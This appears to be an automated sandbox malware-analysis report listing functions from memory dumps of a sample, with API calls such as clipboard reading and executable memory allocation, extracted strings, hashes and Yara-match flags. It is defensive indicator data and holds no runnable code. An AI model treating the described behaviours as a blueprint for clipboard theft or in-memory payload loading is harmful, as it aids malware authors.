Function 01A4F285 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 01A4F2D6

Memory Dump Source

Source File: 00000000.00000002.1921423684.0000000001A4E000.00000040.00000020.00020000.00000000.sdmp, Offset: 01A4E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a4e000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: c690e436671eff5f0a9644ed3fbbf051fe519ee5d2e26ffded1c6165218c6cd1
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: B1112B79A00208EFDB01DF98CA85E98BBF5AF08351F058094F9489B361D771EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042D8F0 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 155clipboardCOMMON

Download Yara Rule

APIs

GetWindowInfo.USER32 ref: 0042D94C
OpenClipboard.USER32 ref: 0042D95E
GetClipboardData.USER32 ref: 0042D97D
CloseClipboard.USER32 ref: 0042DAAF

Strings

c, xrefs: 0042DA05
l, xrefs: 0042DA09
n, xrefs: 0042DA01
c, xrefs: 0042D9E5
a, xrefs: 0042D9F5
b, xrefs: 0042D9ED

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID: Clipboard$CloseDataInfoOpenWindow
String ID: a$b$c$c$l$n
API String ID: 2278096442-2118919457
Opcode ID: 64775b5eaf4b6f3b9d3a5648747dfa61d183d83a94ea54748d631ebe41212b84
Instruction ID: f32526a2b7493747e302e038e132543e99afde457dca7fc2a9710eba875402e9
Opcode Fuzzy Hash: 64775b5eaf4b6f3b9d3a5648747dfa61d183d83a94ea54748d631ebe41212b84
Instruction Fuzzy Hash: 26517EB0908B80CFC720DF38D485A16BBF1AB15314F148A6DE8D68B796D739E446CB66

Uniqueness

Uniqueness Score: -1.00%

Function 0366591D Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 488COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 0366595F
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 03665995
RtlExpandEnvironmentStrings.NTDLL(00000000,2F8B2D9A,?,00000000,00000000,?), ref: 03665CBF
RtlExpandEnvironmentStrings.NTDLL(00000000,2F8B2D9A,?,00000000,?,?), ref: 03665D04

Strings

VSB, xrefs: 03665B25

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: VSB
API String ID: 237503144-2654250299
Opcode ID: 42af359a222c5161f70fb859cd19a903b14d8ab4fd0dfb036164610f8498505b
Instruction ID: 215b7bc4bba9a78a7ccc2001b721e70f5be892fd5ae9c90312ee2d43e14e8f8a
Opcode Fuzzy Hash: 42af359a222c5161f70fb859cd19a903b14d8ab4fd0dfb036164610f8498505b
Instruction Fuzzy Hash: 2FF17CB5A00B01AFD724CF29C842B63BBF5FF4A314F14461DE9AA8B790E371A411CB95

Uniqueness

Uniqueness Score: -1.00%

Function 036762FE Relevance: 7.1, Strings: 5, Instructions: 837COMMON

Download Yara Rule

Strings

MVVS, xrefs: 03676D4C
A^Y[, xrefs: 03676D5A
7452, xrefs: 03676992
UUC\, xrefs: 03676D61
kJMO, xrefs: 03676E47

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID:
String ID: 7452$A^Y[$MVVS$UUC\$kJMO
API String ID: 0-3157732848
Opcode ID: 08fb9053458d0069092ab075ac869d68a8945f95c6ad2078fbf6478a2e09a0e2
Instruction ID: 4fd5cfa8d526ce1163170c0d4c556d838f9ac152a5a480ad83753cf833bab756
Opcode Fuzzy Hash: 08fb9053458d0069092ab075ac869d68a8945f95c6ad2078fbf6478a2e09a0e2
Instruction Fuzzy Hash: 2B528A70604B418BE339CF29C194766FBE2BF56304F988A6DC4E78BB91C775A40ACB54

Uniqueness

Uniqueness Score: -1.00%

Function 00426097 Relevance: 7.1, Strings: 5, Instructions: 837COMMON

Download Yara Rule

Strings

kJMO, xrefs: 00426BE0
A^Y[, xrefs: 00426AF3
UUC\, xrefs: 00426AFA
MVVS, xrefs: 00426AE5
7452, xrefs: 0042672B

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID: 7452$A^Y[$MVVS$UUC\$kJMO
API String ID: 0-3157732848
Opcode ID: b5052e699182a1a0a308292b471bdefcab18d731424f3935f2db044417b9ce16
Instruction ID: 855735e6d1ad8dab1ee178d7f2696252d8d8baabb8e7f5f75f29c0cf4dda7a31
Opcode Fuzzy Hash: b5052e699182a1a0a308292b471bdefcab18d731424f3935f2db044417b9ce16
Instruction Fuzzy Hash: 2B52BE70204B918BD339CF29D094767BBE1BF56304F944A6EC4E78BB91C779A40ACB58

Uniqueness

Uniqueness Score: -1.00%

Function 03654937 Relevance: 5.5, Strings: 4, Instructions: 506COMMON

Download Yara Rule

Strings

IHDR, xrefs: 03654D7D
IDAT, xrefs: 03654DEE
), xrefs: 036549C5
IEND, xrefs: 03654E66

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR
API String ID: 0-3181356877
Opcode ID: 3511b082d5560558510c94d3efdee04cf19d2c1898fd965802b973fdfc2f06ca
Instruction ID: 5dda91b3fb5c47d47c0aed4dc4ade46d4d532827df6262973719a72d047e01a3
Opcode Fuzzy Hash: 3511b082d5560558510c94d3efdee04cf19d2c1898fd965802b973fdfc2f06ca
Instruction Fuzzy Hash: F612FD75A083849FD714CF29D89076ABBE1EF84300F0885ADFD859B381D779D909CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0366CEC7 Relevance: 4.1, Strings: 3, Instructions: 328COMMON

Download Yara Rule

Strings

tu, xrefs: 0366CEED
7q9w, xrefs: 0366CEE5
m!s, xrefs: 0366CF2D

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID:
String ID: m!s$7q9w$tu
API String ID: 0-1328737773
Opcode ID: 630394122b1b40b6e144354b10afeacad49fa940cd3a6ea08509c0a48de16aad
Instruction ID: fc647ed772eb2ced52a6090c41d271979165a73241d22065ff20f439ecc1416e
Opcode Fuzzy Hash: 630394122b1b40b6e144354b10afeacad49fa940cd3a6ea08509c0a48de16aad
Instruction Fuzzy Hash: 3691F0B5A043019BDB14DF14C891B7BB7B9EF85358F184A1CE8D28B380E375D915C7AA

Uniqueness

Uniqueness Score: -1.00%

Function 0365092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

GetProcAddress., xrefs: 036509DC, 036509DF, 036509E4
., xrefs: 0365095F
l, xrefs: 03650966

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 9feceadad15020c132ea2c4a78b8738774c8baf946a179999bde27638b997186
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 7C315AB6900609DFDB10CF99C980AAEFBF9FF48324F14515AE841AB314D771EA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 036555DB Relevance: 3.3, Strings: 2, Instructions: 800COMMON

Download Yara Rule

Strings

0, xrefs: 03655EEA
8, xrefs: 03655EE2

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: c28052362693d2ec878eb2e9e4053acdb697fe5a00c1b3c7cf0b2954dfd04b5c
Instruction ID: 63395121d4398ba517b4634e3d683b8820c2d203a1f52bbdc50c14e21e080acd
Opcode Fuzzy Hash: c28052362693d2ec878eb2e9e4053acdb697fe5a00c1b3c7cf0b2954dfd04b5c
Instruction Fuzzy Hash: 037299716083409FD724CF18C598B6FBBE2AF85314F08886DF98A8B3A1D771D955CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00405567 Relevance: 3.0, Strings: 2, Instructions: 510COMMON

Download Yara Rule

Strings

8, xrefs: 00405C7B
0, xrefs: 00405C83

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: f72422da4545a53147ba4bcae673fa22cfdc217a8e972246317f84f25e8baf34
Instruction ID: f7f0119f1880cbbeb85be2149024bdb2ea19f96f545e0beea172c8d0a898f24a
Opcode Fuzzy Hash: f72422da4545a53147ba4bcae673fa22cfdc217a8e972246317f84f25e8baf34
Instruction Fuzzy Hash: 02222271208740AFDB148F18C840B6BBBE2EF88314F18892EF8899B391D375D954CF96

Uniqueness

Uniqueness Score: -1.00%

Function 0368BC37 Relevance: 2.9, Strings: 2, Instructions: 360COMMON

Download Yara Rule

Strings

R-,T, xrefs: 0368BCD7
R-,T, xrefs: 0368BDD7

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID:
String ID: R-,T$R-,T
API String ID: 0-2000385741
Opcode ID: cd1c842c8cb882f8655696e56ea315231ebb5dd9269e9338f9166ab2116c86d1
Instruction ID: 64ec53fe52b6966c07490266549521a1a213f14004d4db5264f8b61d474b3853
Opcode Fuzzy Hash: cd1c842c8cb882f8655696e56ea315231ebb5dd9269e9338f9166ab2116c86d1
Instruction Fuzzy Hash: 3CC10276A043528BC329CF18C490A6BF7E1FF89314F198A6CE8A69B351C730D955CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0043B9D0 Relevance: 2.9, Strings: 2, Instructions: 360COMMON

Download Yara Rule

Strings

R-,T, xrefs: 0043BA70
R-,T, xrefs: 0043BB70

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID: R-,T$R-,T
API String ID: 0-2000385741
Opcode ID: 74c130e40fe79eb5353d4bfd90c88b1850b3b32b31115821f60d9fac73404323
Instruction ID: 8a29a55053717aff0ea9d03566f8ae78156dab941fa58883738f942dff897c1f
Opcode Fuzzy Hash: 74c130e40fe79eb5353d4bfd90c88b1850b3b32b31115821f60d9fac73404323
Instruction Fuzzy Hash: B9C10172A043128BC725CF18C490B6BB7A1FF89314F19966DE9A69B351C738ED04CBD6

Uniqueness

Uniqueness Score: -1.00%

Function 0040581F Relevance: 2.8, Strings: 2, Instructions: 267COMMON

Download Yara Rule

Strings

8, xrefs: 00405C7B
0, xrefs: 00405C83

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 570d64d0102431681fc9c2953f0e3e491529824ae676a0b8b950b5723fab437e
Instruction ID: bdea24ff9dfb5e0cd0db60fba46b67bbb96c489911e557cb46ccc3a4af15eb87
Opcode Fuzzy Hash: 570d64d0102431681fc9c2953f0e3e491529824ae676a0b8b950b5723fab437e
Instruction Fuzzy Hash: D0B12631209380AFCB21CF58C880B5FBBE1AF99314F08885EF98597392D675D854DBA7

Uniqueness

Uniqueness Score: -1.00%

Function 00405B18 Relevance: 2.7, Strings: 2, Instructions: 231COMMON

Download Yara Rule

Strings

8, xrefs: 00405C7B
0, xrefs: 00405C83

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 74347a645ffaf85fd77ae73b23a4eccb862ef996c88cbf721dd42e1b28c782df
Instruction ID: 37c8e6d2c4d31b8ff407cb87492de83e2db98608a9e4700acb08c765a7b3870e
Opcode Fuzzy Hash: 74347a645ffaf85fd77ae73b23a4eccb862ef996c88cbf721dd42e1b28c782df
Instruction Fuzzy Hash: 64A135316083809FD725CF68D880B6FBBE1EF99350F04882EFA8997391D675D914CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0366B247 Relevance: 2.6, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

!, xrefs: 0366B27A
|)t+, xrefs: 0366B266

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID:
String ID: !$|)t+
API String ID: 0-1543151180
Opcode ID: a01c931c2f573e3a0e1da8e8599f919eb061fd7c53aebc2c304cd03effb064b8
Instruction ID: ea64d36a8efc891e87062eff07437b3e2be5a35ed4b93f8686fde786b335496e
Opcode Fuzzy Hash: a01c931c2f573e3a0e1da8e8599f919eb061fd7c53aebc2c304cd03effb064b8
Instruction Fuzzy Hash: 51419C716083109BC718DF19C8A072BB7B4FFC6368F089A1CE8929B380E774D505CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 03686827 Relevance: 2.0, Strings: 1, Instructions: 700COMMON

Download Yara Rule

Strings

f543, xrefs: 03686E3F

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID:
String ID: f543
API String ID: 0-424919641
Opcode ID: ee1e641224ab94123951b88dafefde2f31790dbb0f3442288f09851e838e1533
Instruction ID: b40e348f08bbfe335c39851f99ee760afcc255fabdb07f8731fc9d327c8f0f96
Opcode Fuzzy Hash: ee1e641224ab94123951b88dafefde2f31790dbb0f3442288f09851e838e1533
Instruction Fuzzy Hash: C0326AB56083419BD714CF24C490B2BFBE2BFC9318F188A2CEA959B395D775D806CB52

Uniqueness

Uniqueness Score: -1.00%

Function 004365C0 Relevance: 2.0, Strings: 1, Instructions: 700COMMON

Download Yara Rule

Strings

f543, xrefs: 00436BD8

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID: f543
API String ID: 0-424919641
Opcode ID: cb28e1dc32981d7d3d693a3383427b54ad9a9947427a3bfbd9cf92e65b9a9054
Instruction ID: a27fba163ec8ca6502e179a43430a23e18181e16a5da658c1e63ab54147eeb45
Opcode Fuzzy Hash: cb28e1dc32981d7d3d693a3383427b54ad9a9947427a3bfbd9cf92e65b9a9054
Instruction Fuzzy Hash: 04327B742083419FD714CF24C494B2BBBE2BBC9318F65DA1EE8958B391C778D805CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0367643C Relevance: 1.7, Strings: 1, Instructions: 432COMMON

Download Yara Rule

Strings

7452, xrefs: 03676992

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: 54138c22c7979f72702bb9a08b355e5a839a7628d7f0a1cc823a813397b31fdc
Instruction ID: dd012700d8ef635f1f170d3082998ca63797033dedc0db44f50df7671fef13c3
Opcode Fuzzy Hash: 54138c22c7979f72702bb9a08b355e5a839a7628d7f0a1cc823a813397b31fdc
Instruction Fuzzy Hash: A3E169B0504F818BD339CF39C1A47A6BBE1BB56304F984A6EC4E74BB91C775A10ACB50

Uniqueness

Uniqueness Score: -1.00%

Function 004261D5 Relevance: 1.7, Strings: 1, Instructions: 432COMMON

Download Yara Rule

Strings

7452, xrefs: 0042672B

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: 54138c22c7979f72702bb9a08b355e5a839a7628d7f0a1cc823a813397b31fdc
Instruction ID: 9183c8cb2bdce41f8d6db81880cd269f3f93fb1448a1f7e838d0594f66b23865
Opcode Fuzzy Hash: 54138c22c7979f72702bb9a08b355e5a839a7628d7f0a1cc823a813397b31fdc
Instruction Fuzzy Hash: C7E16A70604B908BD33ACF39D0943A7BBE1BF56304F954A6EC4E74B791C739A4068B48

Uniqueness

Uniqueness Score: -1.00%

Function 036763AF Relevance: 1.7, Strings: 1, Instructions: 429COMMON

Download Yara Rule

Strings

7452, xrefs: 03676992

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: 1dea606280cec810fd0385baed8d9e9f5f119faaff7c1b778a8d69061cf5cfe0
Instruction ID: 175d91f90dd5b8ea7ceeba11fb5a2aec54ce5ef450c4045aa23f9b205a3c5978
Opcode Fuzzy Hash: 1dea606280cec810fd0385baed8d9e9f5f119faaff7c1b778a8d69061cf5cfe0
Instruction Fuzzy Hash: 77E159B0504F818BD339CF39C1A47A6BBE1BB56304F984A6EC4E74B691C775A10ACB51

Uniqueness

Uniqueness Score: -1.00%

Function 00426148 Relevance: 1.7, Strings: 1, Instructions: 429COMMON

Download Yara Rule

Strings

7452, xrefs: 0042672B

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: 1dea606280cec810fd0385baed8d9e9f5f119faaff7c1b778a8d69061cf5cfe0
Instruction ID: 0f5e2fea7ca9d0fcb5471046c57c7772b20413f2ee2d671d3732f2d6399003e3
Opcode Fuzzy Hash: 1dea606280cec810fd0385baed8d9e9f5f119faaff7c1b778a8d69061cf5cfe0
Instruction Fuzzy Hash: E8E16970604B918BD329CF39D0A43A7BBE1BB56304F954A6EC4E74B691C779A409CB48

Uniqueness

Uniqueness Score: -1.00%

Function 0367642A Relevance: 1.6, Strings: 1, Instructions: 388COMMON

Download Yara Rule

Strings

7452, xrefs: 03676992

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: cf40754c4f5f5cd56b43022b0ab29e4608a7f574ccc41ec9ab392bf31e4060d2
Instruction ID: 43e57b81c96155ac0d8e57886c867ea9dea497cf62254fc01aa16d5e257b5ee3
Opcode Fuzzy Hash: cf40754c4f5f5cd56b43022b0ab29e4608a7f574ccc41ec9ab392bf31e4060d2
Instruction Fuzzy Hash: 5CD17970504F818BE326CF39C1A47A7BBE2AF56304F984A5DC4E74B791C779A40ACB51

Uniqueness

Uniqueness Score: -1.00%

Function 004261C3 Relevance: 1.6, Strings: 1, Instructions: 388COMMON

Download Yara Rule

Strings

7452, xrefs: 0042672B

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: cf40754c4f5f5cd56b43022b0ab29e4608a7f574ccc41ec9ab392bf31e4060d2
Instruction ID: d473763cb8fcafe3d71cd73cd2a945522f078f264cb0929a2263decf9abb313e
Opcode Fuzzy Hash: cf40754c4f5f5cd56b43022b0ab29e4608a7f574ccc41ec9ab392bf31e4060d2
Instruction Fuzzy Hash: 3ED19D70604B908BD326CF34D0A47A7BBE2BF56304F950A5EC8E70B791C779A40ACB49

Uniqueness

Uniqueness Score: -1.00%

Function 03667CCC Relevance: 1.6, Strings: 1, Instructions: 357COMMON

Download Yara Rule

Strings

:B, xrefs: 03667D08

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID:
String ID: :B
API String ID: 0-3257028938
Opcode ID: 1e0049a4c92e93eedd58dfb0be8b66b9b761d6fa7d8c5b3983c2548ff99060e7
Instruction ID: 09b935edd412787e5b2a2bf3daa3aafbe39965d069c9499b9a537e59a8c6aef4
Opcode Fuzzy Hash: 1e0049a4c92e93eedd58dfb0be8b66b9b761d6fa7d8c5b3983c2548ff99060e7
Instruction Fuzzy Hash: BFB17C741007018BD725CF29C891B63B7B1FF86364F198A5CD8968FB95E774E841CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00417A65 Relevance: 1.6, Strings: 1, Instructions: 357COMMON

Download Yara Rule

Strings

:B, xrefs: 00417AA1

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID: :B
API String ID: 0-3257028938
Opcode ID: 3e821f729e7bd7966f8aa8fdbbe72b6607c3b13e90e0310993c0f98e2796235a
Instruction ID: 2c342faefb3c2e803dbce2d9fb269bbbc951d39f873bbb010e15bb50d674dad7
Opcode Fuzzy Hash: 3e821f729e7bd7966f8aa8fdbbe72b6607c3b13e90e0310993c0f98e2796235a
Instruction Fuzzy Hash: 5CB18A742047018BD725CF19C8A1763B7F2FF86324F18855DD8968BB96E778E882CB94

Uniqueness

Uniqueness Score: -1.00%

Function 004065F0 Relevance: 1.5, Strings: 1, Instructions: 262COMMON

Download Yara Rule

Strings

,, xrefs: 00406743

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: ba0ccf94401fd5fba908be8ff873a84c86c8c083a6df85b5acfb8f2518fe5101
Instruction ID: 0d8966ef7d050a0ec093872ade78419a3f07b231ada14620d39ddb812e519fe1
Opcode Fuzzy Hash: ba0ccf94401fd5fba908be8ff873a84c86c8c083a6df85b5acfb8f2518fe5101
Instruction Fuzzy Hash: FBB13A71109381AFD314CF68C94465BFBE0AFA9304F444A6EF4D997382D375EA28CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0367483B Relevance: 1.4, Strings: 1, Instructions: 188COMMON

Download Yara Rule

Strings

"64., xrefs: 03674A39

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID:
String ID: "64.
API String ID: 0-1818615731
Opcode ID: 8fe9d5c3beee695abd02aa9325a0a233faa359eb8810dd28c624e8655a67746b
Instruction ID: 70ec7abdc7c3ec1120867b6bee7f83e7d46de2b828d2d55ce8212b4e5eb0cc1b
Opcode Fuzzy Hash: 8fe9d5c3beee695abd02aa9325a0a233faa359eb8810dd28c624e8655a67746b
Instruction Fuzzy Hash: E8613D70504F818BD726CF39C8687A3BBF0AF1220AF58199DD1EB8B692D775A446CF11

Uniqueness

Uniqueness Score: -1.00%

Function 004245D4 Relevance: 1.4, Strings: 1, Instructions: 188COMMON

Download Yara Rule

Strings

"64., xrefs: 004247D2

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID: "64.
API String ID: 0-1818615731
Opcode ID: 8fe9d5c3beee695abd02aa9325a0a233faa359eb8810dd28c624e8655a67746b
Instruction ID: 9cbbebd9cf2853766a7fd533854aba19562981c866732ef8e5855bd5c730c658
Opcode Fuzzy Hash: 8fe9d5c3beee695abd02aa9325a0a233faa359eb8810dd28c624e8655a67746b
Instruction Fuzzy Hash: FC614970504F918BD7268F34D8647A3BBE0AB5330AF54199ED1EB8B692D339A446CF14

Uniqueness

Uniqueness Score: -1.00%

Function 036748DF Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

"64., xrefs: 03674A39

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID:
String ID: "64.
API String ID: 0-1818615731
Opcode ID: 1cb5013b924579170817424542a0ed3b001999cde159c9abc9b16e7be69e42ce
Instruction ID: 573e7f444cc88c57f7870c7e7e6106c10bdf628deb643bbcacd4fc73a2ad5529
Opcode Fuzzy Hash: 1cb5013b924579170817424542a0ed3b001999cde159c9abc9b16e7be69e42ce
Instruction Fuzzy Hash: CC514A70504F818BD726CF39C8687A3BBE0AB1220AF58199DD1EB8B792D775A446CF14

Uniqueness

Uniqueness Score: -1.00%

